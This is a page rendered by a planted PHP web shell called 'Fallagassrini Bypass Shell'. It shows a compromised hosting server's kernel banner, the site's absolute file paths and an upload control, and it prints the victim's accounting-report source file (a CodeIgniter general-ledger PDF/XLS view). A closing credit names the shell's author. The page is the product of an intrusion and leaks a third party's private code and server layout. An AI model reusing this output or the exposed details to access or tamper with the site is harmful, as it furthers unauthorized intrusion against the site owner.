? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/views/Accounting/pdf_gl.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); ?>

<?php

if (!$company)
    $images = base_url() . 'logo/default_header.jpg';
else {
    foreach ($company as $company) {
        $loggo = $company['filename'];
        $images = base_url() . 'logo/' . $loggo;
        // echo $image;
    }
}
$html = '';
$image = '<img src="' . $images . '" width="285px" height="100px">';
$bullet = '<img src="' . base_url() . '/assets/images/li_bullet.jpg" align="bottom">';
$html = '<html><head><body style="margin: 20px 20px 30px 20px;"><table width="100%" border="0" cellpadding="2" cellspacing="2">
                <tbody><tr><td colspan="2" align="left">' . $image . '</td></tr></table><br/>';

$html.='<div style="text-align:center"><b><u>' . $heading . '</u></b> </div><br/><br/>';

$html.='<table><tr><td>Period : ' . $date1 . ' to ' . $date2 . '</td></tr>';

if (!empty($rfrom) && !empty($rto))
    $html.='<tr><td>Range From : ' . strtoupper($rfrom) . ' to ' . strtoupper($rto) . '</td></tr>';

$html.='</table>';

$html.='<br/><hr>';
$html.='<table  cellspacing="-1" style="width:100%;text-align:left">';



$i = 1;


$balance = 0;
$totdebit = 0;
$totcredit = 0;
$totdebit1 = 0;
$totcredit1 = 0;
$totalbalance = 0;
$totbal = 0;
$opentr = 1;
$tempopen = 1;
foreach ($receipt as $rep) {


    $tdate = $rep['tran_date'];
    $credit = 0 - $rep['credit'];
    $debit = $rep['debit'];
    $memo = substr($rep['memo'], 0, 8);
    $accountcode = $rep['account'];
    $accountname = $rep['account_name'];
    if ($sub == 'false') {
        $opendet = $this->accountingsmodel->opening_maintrail_balance($accountcode, $date1, $date2);
    } else {
        $opendet = $this->accountingsmodel->opening_trail_balance($accountcode, $date1, $date2);
    }


    $opencredit = 0 - $opendet->opencredit;
    $opendebit = $opendet->opendebit;
    $openbaln = $opendebit - $opencredit;
    $tdate = $this->mastermodel->convdatformat($rep['tran_date']);
    $refs = $rep['reference'];
    $balance+=($debit - $credit);

    $totalbalance+=($debit - $credit);


    if ($opentr == 1) {
        $tempaccname = $rep['account_name'];
        if ($openbaln < 0) {
            $newopenbal = abs($openbaln);
            $sfx = 'Cr';
        } else if ($openbaln > 0) {
            $newopenbal = $openbaln;
            $sfx = 'Dr';
        } else {
            $newopenbal = 0;
            $sfx = '';
        }
        $balance+=$openbaln;
        $totalbalance+=$openbaln;
        $totdebit1 = $opendebit;
        $totcredit1 = $opencredit;
        $totdebit = $opendebit;
        $totcredit = $opencredit;
        $html.='<tr style="font-weight:bold">
                     
                      <td colspan="6">' . $accountcode . '&nbsp;&nbsp;' . ucfirst(strtolower($accountname)) . '</td>
                     
                  </tr>';
        $html.='<thead><tr>
            <th style="text-align:left;width:15%">Transaction No</th>
            <th style="text-align:left;width:15%">Date</th>
            <th style="text-align:left;width:30%">Narration</th>
            <th style="text-align:right;width:13%">Debit</th>
            <th style="text-align:right;width:13%">Credit</th>
            <th style="text-align:right;width:14%">Balance</th>
      </tr></thead>';
        $html.='<tr style="font-weight:bold">
                     
                      <td colspan="2"></td>
                      <td style="width:30%">Opening Balance</td>
                      <td style="text-align:right;width:13%">' . number_format($opendebit, '2') . '</td>
                      <td style="text-align:right;width:13%">' . number_format($opencredit, '2') . '</td>
                      <td style="text-align:right;width:14%">' . number_format($newopenbal, '2') . '&nbsp;' . $sfx . '</td>

                  </tr>';
    }
    $opentr = 2;
    if ($tempaccname != $accountname) {
        $tempaccname = $rep['account_name'];
        // if($tempopen==1)
        ///  {
        if ($openbaln < 0) {
            $newopenbal = abs($openbaln);
            $sfx = 'Cr';
        } else if ($openbaln > 0) {
            $newopenbal = $openbaln;
            $sfx = 'Dr';
        } else {
            $newopenbal = 0;
            $sfx = '';
        }
        $balance+=$openbaln;
        $totalbalance+=$openbaln;

        $totbaltemp = $totdebit1 - $totcredit1;
        if ($totbaltemp > 0) {
            $newtbalancetemp = $totbaltemp;
            $sfx = 'Dr';
        } else if ($totbaltemp < 0) {
            $newtbalancetemp = abs($totbaltemp);
            $sfx = 'Cr';
        } else {
            $newtbalancetemp = 0;
            $sfx = '';
        }


        $html.='<tr style="font-weight:bold;">
                 <td colspan="6" style="border-top:1px solid"></td>
                </tr>';

        $html.='<tr style="font-weight:bold">
                 
                  <td colspan="2">' . $acctitle . '</td>
                  <td style="width:30%"></td>
                  <td style="text-align:right;width:13%">' . number_format($totdebit1, '2') . '</td>
                  <td style="text-align:right;width:13%">' . number_format($totcredit1, '2') . '</td>
                  <td style="text-align:right;width:14%">' . number_format($newtbalancetemp, '2') . '&nbsp;' . $sfx . '</td>
              </tr>';
        $html.='<tr style="font-weight:bold;">
         <td colspan="6" style="border-top:1px solid"></td>
        </tr>';
        $html.='<tr style="font-weight:bold">
                  
                  <td colspan="6">' . $accountcode . '&nbsp;&nbsp;' . ucfirst(strtolower($accountname)) . '</td>
                  
             </tr>';
        $html.='<tr>
            <th style="text-align:left;width:15%">Transaction No</th>
            <th style="text-align:left;width:15%">Date</th>
            <th style="text-align:left;width:30%">Narration</th>
            <th style="text-align:right;width:13%">Debit</th>
            <th style="text-align:right;width:13%">Credit</th>
            <th style="text-align:right;width:14%">Balance</th>
      </tr>';
        $html.='<tr style="font-weight:bold">

                  <td colspan="2"></td>
                  <td style="width:30%">Opening Balance</td>
                  <td style="text-align:right;width:13%">' . number_format($opendebit, '2') . '</td>
                  <td style="text-align:right;width:13%">' . number_format($opencredit, '2') . '</td>
                  <td style="text-align:right;width:14%">' . number_format($newopenbal, '2') . '&nbsp;' . $sfx . '</td>

             </tr>';

        $totdebit1 = $opendebit;
        $totcredit1 = $opencredit;

        $totdebit+=$opendebit;
        $totcredit+=$opencredit;

        $balance-=$newbalance;
        //}
        // $tempopen=2;
    }


    if ($balance > 0) {
        $newbalance = $balance;
        $sfx = 'Dr';
    } else if ($balance < 0) {
        $newbalance = abs($balance);
        $sfx = 'Cr';
    } else {
        $newbalance = 0;
        $sfx = '';
    }
    if (empty($debit) && empty($credit)) {
        continue;
    }
    $html.='<tr style="color:#555555">
           <td  style="width:15%">' . $refs . '</td>
           <td  style="width:15%">' . $tdate . '</td>
           <td  style="width:30%">' . $memo . '</td>
           <td style="text-align:right;width:13%" >' . number_format($debit, '2') . '</td>
           <td style="text-align:right;width:13%" >' . number_format($credit, '2') . '</td>
           <td style="text-align:right;width:14%" >';


    $html.='' . number_format($newbalance, '2') . '&nbsp;' . $sfx . '</td>
                       </tr>';

    $i++;

    $totdebit1+=$debit;
    $totcredit1+=$credit;

    $totcredit+=$credit;
    $totdebit+=$debit;
}
$totbal = $totdebit1 - $totcredit1;
if ($totbal > 0) {
    $newtbalance = $totbal;
    $sfx = 'Dr';
} else if ($totbal < 0) {
    $newtbalance = abs($totbal);
    $sfx = 'Cr';
} else {
    $newtbalance = 0;
    $sfx = '';
}

if ($totalbalance > 0) {
    $newtotalbalance = $totalbalance;
    $sfx11 = 'Dr';
} else if ($totalbalance < 0) {
    $newtotalbalance = abs($totalbalance);
    $sfx11 = 'Cr';
} else {
    $newtotalbalance = 0;
    $sfx11 = '';
}
$html.='<tr style="font-weight:bold;">
            <td colspan="6" style="border-top:1px solid"></td>
             </tr>';
$html.='<tr style="font-weight:bold">
                  
                   <td colspan="2">' . $acctitle . '</td>
                   <td style="width:30%"></td>
                   <td style="text-align:right;width:13%">' . number_format($totdebit1, '2') . '</td>
                   <td style="text-align:right;width:13%">' . number_format($totcredit1, '2') . '</td>
                   <td style="text-align:right;width:14%">' . number_format($newtbalance, '2') . '&nbsp;' . $sfx . '</td>
            </tr>';


$html.='<tr style="font-weight:bold;">
         <td colspan="6" style="border-top:1px solid"></td>
        </tr>';
$html.='<tr style="font-weight:bold">
                <td style="width:15%"></td>
                <td style="width:15%"></td>
                
                <td style="width:30%" >Total Debit/Credit</td>
                <td style="text-align:right;width:13%">' . number_format($totdebit, '2') . '</td>
                <td style="text-align:right;width:13%">' . number_format($totcredit, '2') . '</td>
                <td style="text-align:right;width:14%">' . number_format($newtotalbalance, '2') . '&nbsp;' . $sfx11 . '</td>

        </tr>';

$html.='</table>';
$html.='<hr>';
$footer = $this->reportmodel->getfootervalue();
$html.='<script type="text/php">

  if ( isset($pdf) ) {
 $font = Font_Metrics::get_font("verdana", "normal");

  $pdf->page_text(75, 570, "' . $footer . 'Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));

  }
  </script>';

$html.='</body></head></html>';
//echo $html;

if ($reportin == 'pdf')
    pdf_create($html, $fname, 'true');
else {

    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=" . $fname . ".xls");
    header("Pragma: no-cache");
    header("Expires: 0");
    print $html;
    exit;
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net